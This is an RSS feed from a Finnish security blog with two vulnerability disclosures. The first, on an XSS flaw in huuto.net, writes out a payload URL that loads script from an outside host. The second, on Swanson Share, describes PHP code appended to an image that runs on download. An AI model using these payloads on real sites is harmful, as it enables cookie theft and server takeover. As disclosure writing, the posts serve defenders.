<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Komea Pimeässä &#187; Tietoturva</title> <atom:link href="http://ihanu.us/category/it/tietoturva/feed/" rel="self" type="application/rss+xml" /><link>http://ihanu.us</link> <description>suht' hyvännäköinen hämärässä</description> <lastBuildDate>Mon, 30 Aug 2010 12:52:47 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.0.1</generator> <item><title>Huuto.netissä XSS-haavoittuvuus</title><link>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/</link> <comments>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/#comments</comments> <pubDate>Wed, 12 Nov 2008 22:01:13 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Tietoturva]]></category> <category><![CDATA[huutonet]]></category> <category><![CDATA[xss]]></category><guid isPermaLink="false">http://aapon.ihanu.us/?p=199</guid> <description><![CDATA[Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä. Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän [...]]]></description> <content:encoded><![CDATA[<p>Suositulla <a href="http://www.huuto.net/" class="liexternal">huuto.net</a>-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi &#8211; huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä &#8211; varastaa sivun käyttäjien evästeitä.</p><p>Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta</p><p>Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.<br /> Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa &#8216;&lt;script src=http://domain.com/script.js&gt;&lt;/script&gt;&#8217;. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa &#8216;&lt;script src=osoite&#8217;-muotoisen script-tagin onnistuneesti.</p><p>Nyt XSS on siis muotoa &#8216;fbuser=&lt;script src=http://domain.com/script.js&#8217;. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).<br /> Nyt siis URL on muotoa &#8216;huuto.net/fi/showfeedback.php3?fbuser=&lt;script src=//domain.com/script.js&#8217;.</p><p>Proof-of-concept löytyy osoitteesta <a href="http://xi7.org/t.js" class="liexternal">http://xi7.org/t.js</a>. Käytännössä koodia käytettäisiin seuraavasti: <a href="http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js" class="liexternal">http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js</a>. Koodi <strong>ei</strong> varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.</p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/11/13/huutonetissa-xss-haavoittuvuus/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Swanson Share vieraan koodin suoritus</title><link>http://ihanu.us/2008/01/31/swansonshare-vks/</link> <comments>http://ihanu.us/2008/01/31/swansonshare-vks/#comments</comments> <pubDate>Thu, 31 Jan 2008 06:13:30 +0000</pubDate> <dc:creator>shinmai</dc:creator> <category><![CDATA[Tietokoneet]]></category> <category><![CDATA[Tietoturva]]></category> <category><![CDATA[swanson]]></category><guid isPermaLink="false">http://aapon.ihanu.us/2008/01/31/swansonshare-vks/</guid> <description><![CDATA[Seloste Julkaisijan web-sivustolta: Swanson Share is a file hoster that allows you to upload a file that can only be downloaded once before it is deleted. All downloads are secured, so you can use Swanson Share to distribute digital downloads. Ongelma Skripti ei todellakaan suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja [...]]]></description> <content:encoded><![CDATA[<h4>Seloste</h4><p>Julkaisijan web-sivustolta:</p><blockquote><p>Swanson Share is a file hoster that allows you to upload a file<br /> that can only be downloaded once before it is deleted.<br /> All downloads are secured, so you can use Swanson Share to distribute digital downloads.</p></blockquote><h4>Ongelma</h4><p>Skripti ei <em>todellakaan</em> suojaa ladattuja tiedostoja, melkeinpä päinvastoin. Kaikki tiedostot tallennetaan julkiseen alikansioon ja tiedostonimen eteen lisätään muutama satunnainen numero, eli <em>puhuroidun</em> <small>(hihihihihi)</small> tiedoston voi suorittaa navigoimalla tähän kansioon ja valitsemalla halutun tiedoston.<br />Mikä vielä pahempaa, kun tallennettu tiedosto ladataan palvelimelta, skripti käyttää php:n include()-functiota tiedoston sisällön syöttämiseksi selaimelle, joten kaikki ladattavan tiedoston sisältämä php-koodi suoritetaan!</p><p><span id="more-20"></span></p><p>Hyökkääjä voisi yksinkertaisesti lisätä esimerkiksi gif-kuvatiedoston loppuun php-koodin, joka pudottaa etähallintatyökalun johonkin kansioon, joka on korkeammalla tiedostopuussa. Koodin voisi tämän jälkeen suorittaa lataamalla tiedoston. Näin skripti on haavoittuvainen, vaikka ylläpitäjä olisi muokannut skriptin estämään php-tiedostojen tallennuksen, ja evännyt selaimilta pääsyn säilökansioon, koska scripti tästä huolimatta sisällyttää ladattavan tiedoston latauksen yhteydessä</p><h4>Ratkaisu</h4><p>Tällä hetkellä ei ole olemassa virallista päivitystä tai ratkaisua Swanson Web Medialta. Olen ottanut kehittäjään yhteyttä useampaan otteeseen, mutten ole saanut vastausta.<br />Pahinta koko asiassa on, että kyseessä on melkein viidenkymmenen dollarin arvoinen skripti, eikä mikään &#8220;ilmais-kilke&#8221;.</p><p>Kotikutoinen ratkaisu olisi estää php:n suoritus säilökansiossa ja muokata skriptiä uudelleenohjaamaan selaimen ladattavaan tiedostoon, sen sisällyttämisen sijaan.</p><p><a href="http://aapon.ihanu.us/2008/01/31/swansonshare-mce/" class="liexternal">English version of this advisory</a></p><div class="acc_license"></div>]]></content:encoded> <wfw:commentRss>http://ihanu.us/2008/01/31/swansonshare-vks/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using xcache
Page Caching using xcache (user agent is rejected)
Database Caching using xcache
Object Caching 457/480 objects using xcache
Content Delivery Network via Amazon Web Services: CloudFront: Amazon Web Services: S3: cdn.ihanu.us

Served from: ihanu.us @ 2010-09-09 03:05:07 -->